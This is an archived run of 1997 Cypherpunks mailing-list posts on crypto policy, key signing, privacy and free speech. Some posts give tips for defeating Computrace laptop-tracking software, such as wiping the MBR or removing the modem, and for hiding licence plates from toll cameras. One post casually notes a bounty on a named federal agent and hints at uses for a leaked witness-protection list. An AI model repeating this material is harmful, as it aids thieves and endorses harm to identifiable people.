OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
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3pvglNXOIRvNKmJPHThCdnTY0yuwnHLuk7BuhDx/tPS1yMZtdEc1D8Zvu2C1rJBp
mOffghXFm0o=
=WSu3
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 12 Jun 1997 20:30:26 +0800
To: declan@well.com (Declan McCullagh)
Subject: Re: Flag burning vote TOMORROW and government-imposed ratings
In-Reply-To: <Pine.GSO.3.95.970611133503.12043H-100000@well.com>
Message-ID: <199706121208.IAA16778@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



| 	http://www.allpolitics.com/1997/gen/analysis/counterpoint/
| 
|         Counterpoint: Ban Flag Burning?
| 
|         It's baaaack.....! The House is set to vote June 12 on
| 	a proposed amendment to the Constitution that would
| 	ban flag desecration. Democratic Rep. William
| 	Lipinksi, a lead sponsor, says the flag is too
| 	important a symbol not to be protected, while ACLU
| 	executive director Ira Glasser warns against
| 	weakening the First Amendment.

	Would a Flag Burning Ammendment give the court clear guidance
that other offensive speech, not ammended against, is now more ok?

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 12 Jun 1997 23:37:44 +0800
To: "Joshua E. Hill" <tcmay@got.net
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03102802afc52bfb5491@[207.167.93.63]>
Message-ID: <v03007868afc5c5dd69c9@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



IMHO - What you are really signing is the binding between the data
associated with the key (usually an email address) and the key.  You are
saying that the secret key holder is (one of the) person(s) who has access
to that account, and not some man in the middle in the middle.  If you ask
to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
either see a forgery or an ID issued by an organization not interested in
birth certificates.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 12 Jun 1997 23:49:12 +0800
To: Mark Grant <cypherpunks@toad.com
Subject: Re: Photo ID is not needed for key signings...
In-Reply-To: <Pine.SOL.3.96.970612071503.3692A-100000@sirius.infonex.com>
Message-ID: <v03102800afc5c63790f4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:20 AM -0700 6/12/97, Mark Grant wrote:

>No, they're binding supposedly government-issued ids to keys. There's a
>difference.
>
>There are three problems with signing keys based on government-issued ids.
>

> 2. Governments will issue fake ids to their agents, so there's no
>    proof that that 'Mark Grant' is 'really' 'Mark Grant' and not
>    'Joe Sasquatch, NSA, FBI, BATF'.

I understand that "Joe Sasquatch" is actually the newly-issued name for the
BATFag formerly known as "Lon Horiuchi." He can run, but he can't hide
(forever).

(Talk about your assassination politics! The militias have a price on that
guy's head.)

The USG is of course one of the main liars about identity, using
government-issued credentials to lie about past and current identities.
Check into the so-called "Witness Security Program," aka WitSec. (Popularly
known as "Witness Protection.")

A recent vintage list of mappings between apparent True Names and
government-issued fake names, including faked credit reports (the three
major CRAs are of course complicit in this fakery), was floating around in
the underground community a few years ago...acquired from a government
surplus disk drive arrray bought in Martinsburg, W. Va. Many interesting
uses of such a list of stool pigeons and traitors.

Fascinating times, eh?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 13 Jun 1997 12:15:55 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Flag burning vote TOMORROW and government-imposed ratings
In-Reply-To: <199706121208.IAA16778@homeport.org>
Message-ID: <3.0.1.32.19970612083739.0074149c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> 	Would a Flag Burning Amendment give the court clear guidance
>> that other offensive speech, not amended against, is now more ok?

At 06:23 AM 6/12/97 -0700, Declan wrote:
>Just woke up, but I would argue "no."  This would be the first
>constitutional weakening of the First Amendment ever. 
>Hardly a move that strengthens free speech protections. 

Normally when the government wants to weaken the First Amendment,
it does it through the courts, or makes laws nationalizing the spectrum :-)  
This isn't the first time CONgress has tried a flag-burning amendment; 
they tried it under George Bush* as well, and failed to get it through.
Does this look any different, under a Republican Congress?

[As somebody said, if you wrapped yourself in the flag as much as Bush did,
you'd worry about flag-burning too....  Clinton doesn't do it as much,
but he's no more a friend of civil liberties, and if the polls said
51% of the voters want him to sign it, he probably would.]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 12 Jun 1997 23:46:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
Message-ID: <3.0.32.19970612083315.006c1b68@best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:22 PM 6/11/97 +0000, Raymond Mereniuk wrote:
>
>>
>> >                     The call goes to a Canadian office
>> >                     that in turn phones the cops. So far,
>> >                     it has a 100 percent recovery rate. 
>> >
>> ======  100% of WHAT?  Systems with it installed which are stolen?   How
>> would you know what systems do NOT call in?  
>> It's like the question the clerk asks at the airport: "Did anyone put
>> anything in your luggage you don't know anything about?"
>> 
>> Now that the word is out, of course, the wily thief will eschew pluggin in
>> until the hard drive is reformatted and installed
>> with a clean OS.  As usual: the stupid will be caught. 
>
>This has been discussed on this list before, about 1 year ago.  The 
>Computrace software is installed on a place on the hard drive where 
>DOS utilities like Fdisk and Format can not get at it.  This is the 
>same as Diskmanager Version 7 or higher, Fdisk and Format will not 
>remove this version of Diskmanager.
>

Unless you overwrite the MBR and the first TRACK on the disk.  Well, the
bar is raised by
about 3 minutes with DEBUG, thanks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 12 Jun 1997 21:33:03 +0800
To: cypherpunks@toad.com
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <19970611221203.50854@bywater.songbird.com>
Message-ID: <4PR78D89w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:

> On Wed, Jun 11, 1997 at 07:18:52PM -0700, Steve Schear wrote:
> > Ideas are not protected speech, since they only exist in the mind, only
> > expressions are protected.
>
> Actually, expression is heavily encumbered with state mechanism, since
> it is expression that is "protected" by copyright.  Ideas are also
> encumbered by the state, through patent law.  The whole notion of
> expression and ideas as property is purely sustained by the state.

Yes - "copyright" is a pretty recent invention.  I don't like it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 12 Jun 1997 21:12:18 +0800
To: cypherpunks@toad.com
Subject: Privacy Strategems
Message-ID: <1.5.4.32.19970612125024.0099affc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The New York Times has a long report today on the
massive data banks about US citizens operated by
commercial services for sale to marketers (and used
by databankers for special ops against those who sue 
them).

Emphasis is given to the number of states that sell
low-cost inmate services for data entry and preparation
of hot-selling Geographical Information Surveys which
map and stat in minute detail the life-style preferences
of purchasers. And how sharp and horny inmates snatch 
select data for criminal attacks on unwary citizens (and their
children) who cooperatively provided personal information 
to government agencies and market researchers.

Texas is featured as a leader in the privatization of
government data and using inmate labor to underbid
offshore sweatshop competitors -- all engendered
by citizen demands to reduce tax burdens.

Another report covers the Microsoft/Netscape effort
to ward off government regulation by agreeing on a
privacy protection program.

It's not clear how government and inmates will join the two
public-spirited corps in peddling the illusion of privacy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 13 Jun 1997 00:12:00 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: New key for shamrock@netcom.com
In-Reply-To: <3.0.2.32.19970612001637.00754e4c@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970612090329.03c06a28@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:51 AM 6/12/97 -0500, William H. Geiger III wrote:
>I hope that you generated a new RSA key also or I would hang onto that old
>key.

I'll hang on to the old key. But it seemed time to at least generate its
successor.



--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Karn <karn@qualcomm.com>
Date: Fri, 13 Jun 1997 00:32:38 +0800
To: frantz@netcom.com
Subject: Re: Feds have lost battle against encryption
In-Reply-To: <v0300785fafc47bebdb24@[207.94.249.152]>
Message-ID: <199706121616.JAA08347@servo.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain



The really ironic issue of late has been supercomputer exports. We now
have the spectacle of William Reinsch saying that export restrictions
on supercomputer *hardware* are unworkable because the technology is
available all around the world.

This is the very same Commerce official who still says with a straight
face that export controls on encryption *software* are workable and
desirable.

And we have the chairman of the House Judiciary Committee, the same
committee that recently approved the SAFE act to deregulate crypto
exports, calling for an investigation into Commerce's approval of
recent supercomputer exports to China.

Yet I presume nobody minds that we can ship as many Pentiums as we
want to China.

Somebody really needs to say the words "distributed computing" to
Congress. Perhaps that will be the major benefit of the DES Challenge
project when (not if) it succeeds.

Phil





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 13 Jun 1997 00:47:22 +0800
To: cypherpunks@toad.com
Subject: Re: Flag burning vote TOMORROW and government-imposed ratings
Message-ID: <199706121630.JAA27386@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 12 Jun 1997, Declan McCullagh wrote:
 
>
> Jut woke up, but I would argue "no." This would be the first
> constitutional weakening of the First Amendment ever. Hardly a move that
> strengthens free speech protections.
 
First constitutional weakening yes, but hardly the first weakening. :(    
What about virtual flag burning?  Any Javafolks out there wanting to
protest could write a nice "Click Here to Burn the Flag of these here
United States...  Just like Vince's Be a Crypto Runner page."

Flaming Flag Monger Citizen Unit #401598424628





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bluelist@hotmail.com
Date: Thu, 12 Jun 1997 23:26:25 +0800
Subject: It's only QA.
Message-ID: <m0wcBdG-00078hC@knuth.mtsu.edu>
MIME-Version: 1.0
Content-Type: text/plain



Thee BlueList is NOT harassment.  
It's NetWare Quality Assurance.

No VM/CMS SMTP bugs here.  
This time it's a Linux Smail test.

In the future, look for similar tests
of HP SendMail, SGI/SVI, IBM OS/2, etc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 12 Jun 1997 22:33:44 +0800
To: Kent Crispin <cypherpunks@Algebra.COM
Subject: Re: [off-topic CNN] Stolen Laptops and lame 'solution'
Message-ID: <199706121428.KAA18065@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> wrote:
> On Wed, Jun 11, 1997 at 09:37:42PM -0500, William H. Geiger III wrote:
> [...]
> >The end buyer should not be held responcible for the illegal activities of
> >the seller.
> 
> Regardless of responsibility, if the original owner can prove it is
> stolen goods, the end buyer is out of luck -- clearly the original
> owner should get their goods back.  And if the end buyer provably has
> clear knowledge that it is stolen property, they are an accesssory to
> the crime. 

The question of what happens to property which is bought in good 
faith, but is later discovered to be stolen, is not a clear one,
and is dealt with in different ways in different countries.

In the US, the property nearly always reverts to the original owner,
unless the thief is a government. However, I remember reading 
articles about stolen art which implied that that is not always 
the case in Europe.

When the stolen article is land, or governments and/or national pride
are involved, things get very strange. Greece is still trying to 
recover the Elgin Marbles, which were taken by a Briton from
the Parthenon around 1810, during the Turkish occupation. I'm sure
Egypt would also like the Rosetta stone back - this was taken by
Napolean in 1799, and later captured by the British. Both are now
in the British Museum.

Sometimes the claims go across millenia - the record I can think 
of being that certain specific parcels of land in Israel are 
claimed by modern Jewish settlers on the grounds that their 
purchase from the Philistines is explicitly mentioned in the Old 
Testament, while there is no extant record of their sale to 
the modern (non-Jewish) owners.

[usual disclaimers apply]

Peter Trei
trei@Process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joshua E. Hill" <jehill@w6bhz.calpoly.edu>
Date: Fri, 13 Jun 1997 02:03:39 +0800
To: frantz@netcom.com (Bill Frantz)
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03007868afc5c5dd69c9@[207.94.249.152]>
Message-ID: <199706121752.KAA05673@hyperion.boxes.org>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz said:
> IMHO - What you are really signing is the binding between the data
> associated with the key (usually an email address) and the key.  

I think that you are signing the data, but not quite the 
description area. I think you are signing the key. Something 
like the statement "I believe that anything signed by this key 
came from the person known as 'X'".  This could be an e-mail 
address, pseudonym a DNA sequence, or whatever... The key (and
hopefully the binding between the key and the person in meat 
space) is what remains constant... not necessarily what the 
person chooses to go by.

			Josh

-----------------------------Joshua E. Hill-----------------------------
|                 Quantized Revision of Murphy's Law:                  |
|                   Everything goes wrong all at once.                 |
--------------------------jehill@w6bhz.calpoly.edu----------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 13 Jun 1997 02:26:29 +0800
To: cypherpunks@toad.com
Subject: Re: Access to Storage and Communication Keys et al
In-Reply-To: <19970610134844.39484@bywater.songbird.com>
Message-ID: <19970612110443.36617@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jun 13, 1997 at 01:15:04AM +0000, Peter Nicol - VRL / BroomStick Productions wrote:
> 
> etc etc etc . . .
> 
> >For all the secrets I currently know< etc etc etc . . .
> 
> I was taught in anarchist primary school that:
> 
> "Secrecy is a tool of the State".

Of course, we are all far past primary school, of whatever stripe, 
and realize that the world is a complex place that doesn't adhere to 
any particular ideology.

> Two daughters of a silk merchant live in Kyoto,
> The elder is twenty, the younger, eighteen.
> A soldier may kill with his sword,
> But these girls slay men with their eyes.

Basho?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 00:39:25 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <Pine.SUN.3.96.970612114018.14283B-100000@beast.brainlink.com>
Message-ID: <199706121616.LAA20570@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970612114018.14283B-100000@beast.brainlink.com>, on
06/12/97 
   at 11:57 AM, Ray Arachelian <sunder@brainlink.com> said:

> Of course toll boths take pix
>of the licensplates that pass by, but that's something I've no control
>over.)

A pickup truck & a little mud takes care of that problem. :)

Quite often there are low-tech solutions to high tech problems. :)))

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6Ah9I9Co1n+aLhhAQH2cQP9GUpDZx8borufNFCVnm5OVssWjiJMs0f1
VS60LZIJj4mCZgDcEWBx0bvDo7txRcmZS0bWRgW3H0uSOeQbUyuYFiFEOxEYNjAJ
WOWbRzIMwdqyyeIHT73OqCYJLqya/L0fi48x3tF/eeWw56D8oWlZmyKPVso1fzXW
QmaM0JZxsR4=
=050N
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 13 Jun 1997 00:02:30 +0800
To: Raymond Mereniuk <raymond@wcs.net>
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706112341.QAA05443@mat.wcs.net>
Message-ID: <Pine.SUN.3.96.970612114018.14283B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 11 Jun 1997, Raymond Mereniuk wrote:

> This has been discussed on this list before, about 1 year ago.  The 
> Computrace software is installed on a place on the hard drive where 
> DOS utilities like Fdisk and Format can not get at it.  This is the 
> same as Diskmanager Version 7 or higher, Fdisk and Format will not 
> remove this version of Diskmanager.

Okay, so if format and fdisk won't get to it, then it must live in the
master boot record - (otherwise how would it run?)  Booting off a floppy
and running FDISK /MBR would wipe it.  If not, then a low level format
would.  If you lack the software for a low level wipe then a program that
zaps every sector of a drive including the MBR, and partition table would
fix it.  (If it lived on the boot sector than replacing it with the SYS
command would be possible.  If it lives in any other area, it can't
execute.)

Installing Linux with Lilo in the MBR would also zap it.  Can it work with
other operating systems?  Say NT, or Solaris x86, Linux, or OS/2?  It's
useless if someone can simply install a non-compatible OS.  If it still
works with other OS's, then it only runs durring the bootup processes.
Which means that you simply don't plug your modem on the phone line while
you boot up and that's that.  If it's only compatible with Win95 or DOS,
then you install NT or Linux, or Solaris, and that will bypass it.


[The other (unlikely) possibility is that it would live in the BIOS for
FlashBIOS machines, but this is not likely since if it were to go there,
chances are there would be bugs and incompatibilities between their
software and the BIOS that would damage the computer. ]
 
The 1st thing a smart theif would do is to remove the modem from the
notebook computer and sell it separatly.  That way until the sucker with
the stolen notebook buys and uses a modem, he's untraceable.  And he can
sell the modem to someone else.

> The Computrace software is configured to call the 1-800 number on a 
> regular pre-assigned schedule and talk to the computers at Absolute 
> Software.  If the notebook has been reported stolen the computers at 
> Absolute will advise the subject unit to call back on a more frequent 
> basis.  The Computrace software turns off all modem speaker 
> functionality.

What if the notebook HASN'T been reported as stolen?  Then this software
can be used to track the location of the notebook computer, and as such it
is a privacy intrusion device.  I don't want some piece of software, even
if it protects my computer from theft to report on where I am at a given
time.  It is none of Computrace's business.

As for the silent modem functionality, I can simply attach a phone monitor
on the line.  A simple $19 box from RadioShack that hooks up to a tape
recorder can be hooked up to a powered speaker.  If the theif hears the
notebook dial the phone, he'd know it's there.

In any case, I'm not as worried about notebook loss as I am about the data
on it, so having a good hard drive encryptor is more valuable to me than
losing $2K for a notebook computer.  I don't trust this hackish bit of
software, especially if it will keep tabs on my location when the thing
isn't stolen.

(And yes I have that same sentiment about the LoJack car transponder, and
the EZ-Pass toll paying system, and cell phones.  Each of these
technologies can report on your whereabouts and thus pinpoint your
location at any given time.  They're all invasion of privacy things that
the masses are suckered into buying for either protection or convenience.
Uncool stuff.  I'd rather get comprehensive theft insurance, and pay tolls
in cash. FYI: I do have a cell phone, but I keep it off so it can't
transmit anything when I'm not using it.  Of course toll boths take pix
of the licensplates that pass by, but that's something I've no control
over.)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Gibbon <leegib@MICROSOFT.com>
Date: Fri, 13 Jun 1997 04:15:38 +0800
To: "'cypherpunks'" <cypherpunks@Algebra.COM>
Subject: FYI: release of "For the Record: Protecting Electronic Health Information"
Message-ID: <51194C00BD39CF11839000805F385DB204587083@RED-65-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain



On-line versions appear to be available at this site as well as means to
buy it.

http://www.nap.edu/bookstore/enter2.cgi?0309056977

For the Record: Protecting Electronic Health Information 
by:   Committee on Maintaining Privacy and Security in Health Care
Applications of the National Information Infrastructure, National
Research Council
ISBN 0-309-05697-7; 1997, 288 pages

"...This book makes practical detailed recommendations for technical and
organizational solutions and national-level initiatives. For the Record
describes two major types of privacy and security concerns that stem
from the availability of health information in electronic form: the
increased potential for inappropriate release of information held by
individual organizations (whether by those with access to computerized
records or those who break into them) and systemic concerns derived from
open and widespread sharing of data among various parties. The committee
reports on the technological and organizational aspects of security
management, including basic principles of security; the effectiveness of
technologies for user authentication, access control, and encryption;
obstacles and incentives in the adoption of new technologies; and
mechanisms for training, monitoring, and enforcement...."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 02:20:48 +0800
To: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Subject: Re: Secrecy?
In-Reply-To: <199706121722.BAA27903@hedgehog.highway1.com.au>
Message-ID: <199706121804.NAA22406@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706121722.BAA27903@hedgehog.highway1.com.au>, on 06/13/97 
   at 01:20 AM, "Peter Nicol - VRL / BroomStick Productions"
<nicol@highway1.com.au> said:

>Hmmmm . . .

>After following this list for a while I offer the following  observation:

>"Would it be better to DEMAND the full disclosure of the governments 
>secrets rather than scramble around trying to keep ours."

>I am prepared to allow governments full access to my 
>communications when they allow me full access to theirs.

Well I for one am not.

What the government does is our business as they work for us. We have
every right to DEMAND full acess to what they are doing.

The government does not have the right to access to what it's citizens are
doing.

This is a simple boss-employee relationship and the government is *NOT*
the boss.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6A7PY9Co1n+aLhhAQGo/gP8DQYlGj4wsGFxmqeJn3NusHrZRA61bm4n
lrRI2UAAJUNUZHyZ3a6nH0jb12pJuNHl1Iv3sUKcAph0jagxEqWw1UyYuhmeiEZc
T9A6QJl34EJCR3gNeQdxVxrXwW6DtVj7q5d27hVEhFgrgd+w6rUuKWv7WAJvViVO
KSZY8t//ZJs=
=JYGg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Fri, 13 Jun 1997 03:26:33 +0800
To: cypherpunks mailing list <cypherpunks@Algebra.COM>
Subject: Um, I'm probably already in trouble for the last one.
Message-ID: <3.0.1.32.19970612141525.009749e0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded from 0xdeadbeef  (inline tabs converted):
-----
Michael Strelitz <mstrelitz@cix.compulink.co.uk> wrote:
>
>> But not every bra has a cryptographic function. Most are used for ASCII 
>> armor or for compression. Some are even designed to make the plaintext
>> stand out and more enjoyable to read.
>
> Touche, but I believe what we have here is a clear case of steganography.

  Yikes.  I think that we should hammer down some definitions before
  this whole thing gets out of hand.

Cryptography:
  Building an difficult-to-unhook bra.

Steganography:
  Building a flesh-colored bra, or one whose unhook mechanism is
  hidden somewhere unexpected (Man:  "How the Hell...?"  Woman:
  "It unhooks in front."  Man:  "Damn those steganographers.")

Public-Key Cryptography:
  Building a bra that anyone can put on, but that only Alice can
  remove.

Watermarking:
  Building a bra that stays on even after smoothing, compression,
  and rotation.  Also, Bob should not be able to put his own bra
  on over Alice's and claim ownership of her body.

Fingerprinting:
  Um, I'm probably already in trouble for the last one, so I'll
  just skip this.

Signatures:
  Building a bra with a nametag ("Property of Alice, machine wash
  warm...") such that bras with Alice's name only fit Alice's body.
  Bob could in theory remove Alice's bra and replace it with his 
  own, but there's no real reason for him to do so.

All-or-Nothing Disclosure Of Secrets:
  Alice transforms her bra into a duffle bag, and either (a) shows
  Bob how to open it, or (b) shows Bob how she made it into a duffle
  bag.  Alice repeats the procedure until Bob is satisfied (perverted
  freak).

One-time Pad:
	Kleenex.

NSA:	An organization that wants women to go back to wearing corsets and
	chastity belts.  Oh, and Bill Clinton gets to keep all the keys.

[looks up at what's written so far and sighs]  I'm so damned juvenile.
I'm going to go do something more constructive and serious.  Well, happy
Monday.

				-Caj

	[**!!Oh, and these are not the views of my employer!!**]
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Haha.. you fool! You fell victim to one of the classic blunders. The most
famous is: Never get involved in a land war in Asia. Only slightly less
well know is this: Never go in against a Sicilian when death is on the
line!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Fri, 13 Jun 1997 05:18:35 +0800
To: Carl Ellison <cme@cybercash.com>
Subject: Re: Feds have lost battle against encryption
In-Reply-To: <3.0.2.32.19970612152540.00be65c0@cybercash.com>
Message-ID: <Pine.LNX.3.95.970612150732.498A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Thu, 12 Jun 1997, Carl Ellison wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 09:16 AM 6/12/97 -0700, Phil Karn wrote:
> >Somebody really needs to say the words "distributed computing" to
> >Congress. Perhaps that will be the major benefit of the DES Challenge
> >project when (not if) it succeeds.
> 
> Too bad there isn't a simple word for "a computer in every vending machine, 
> VCR and even styrofoam coffee cup, capable of doing strong crypto".
> 
ubiquitious

but maybe that isnt simple






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@Algebra.COM
Date: Thu, 12 Jun 1997 23:34:09 +0800
Subject: just testing ...
Message-ID: <m0wcBjv-000252C@thorung.eeng.dcu.ie>
MIME-Version: 1.0
Content-Type: text/plain



Thee BlueList is NOT harassment.  
It's NetWare Quality Assurance.

Check the headers on this, and you'll
see that they are somewhat misleading.

Maybe there's some Mail Transfer Agent
bugs that need fixing.  Or, could it be the
specifications of how this is supposed to
work?

In the future, look for similar tests
of HP SendMail, SGI/SVI, IBM OS/2, etc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Fri, 13 Jun 1997 04:02:35 +0800
To: Phil Karn <karn@qualcomm.com>
Subject: Re: Feds have lost battle against encryption
In-Reply-To: <v0300785fafc47bebdb24@[207.94.249.152]>
Message-ID: <3.0.2.32.19970612152540.00be65c0@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:16 AM 6/12/97 -0700, Phil Karn wrote:
>Somebody really needs to say the words "distributed computing" to
>Congress. Perhaps that will be the major benefit of the DES Challenge
>project when (not if) it succeeds.

Too bad there isn't a simple word for "a computer in every vending machine, 
VCR and even styrofoam coffee cup, capable of doing strong crypto".

-----BEGIN PGP SIGNATURE-----
Version: 5.0
Charset: noconv

iQCVAwUBM6BNM1QXJENzYr45AQEzEQP/YV3m4vdFhPt2QRz1OvEkDldvvWv0ti+g
aUTN7UxSTr/4wLB3Km7iRhYIM5D9tG54ikPT6y1PO//O0bqtGycy/IcbfXhP7shn
7pfpqB48/8Wn2gZb2dxPRNLkg48EBgkmWnabFaR8hnxPsl6MjHDQnbtCsl45b1uc
PAdDTIquNqw=
=V/Xm
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 13 Jun 1997 06:15:51 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: NEW TRAVEL INFO -- Antigua (fwd)
Message-ID: <199706122142.QAA11672@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
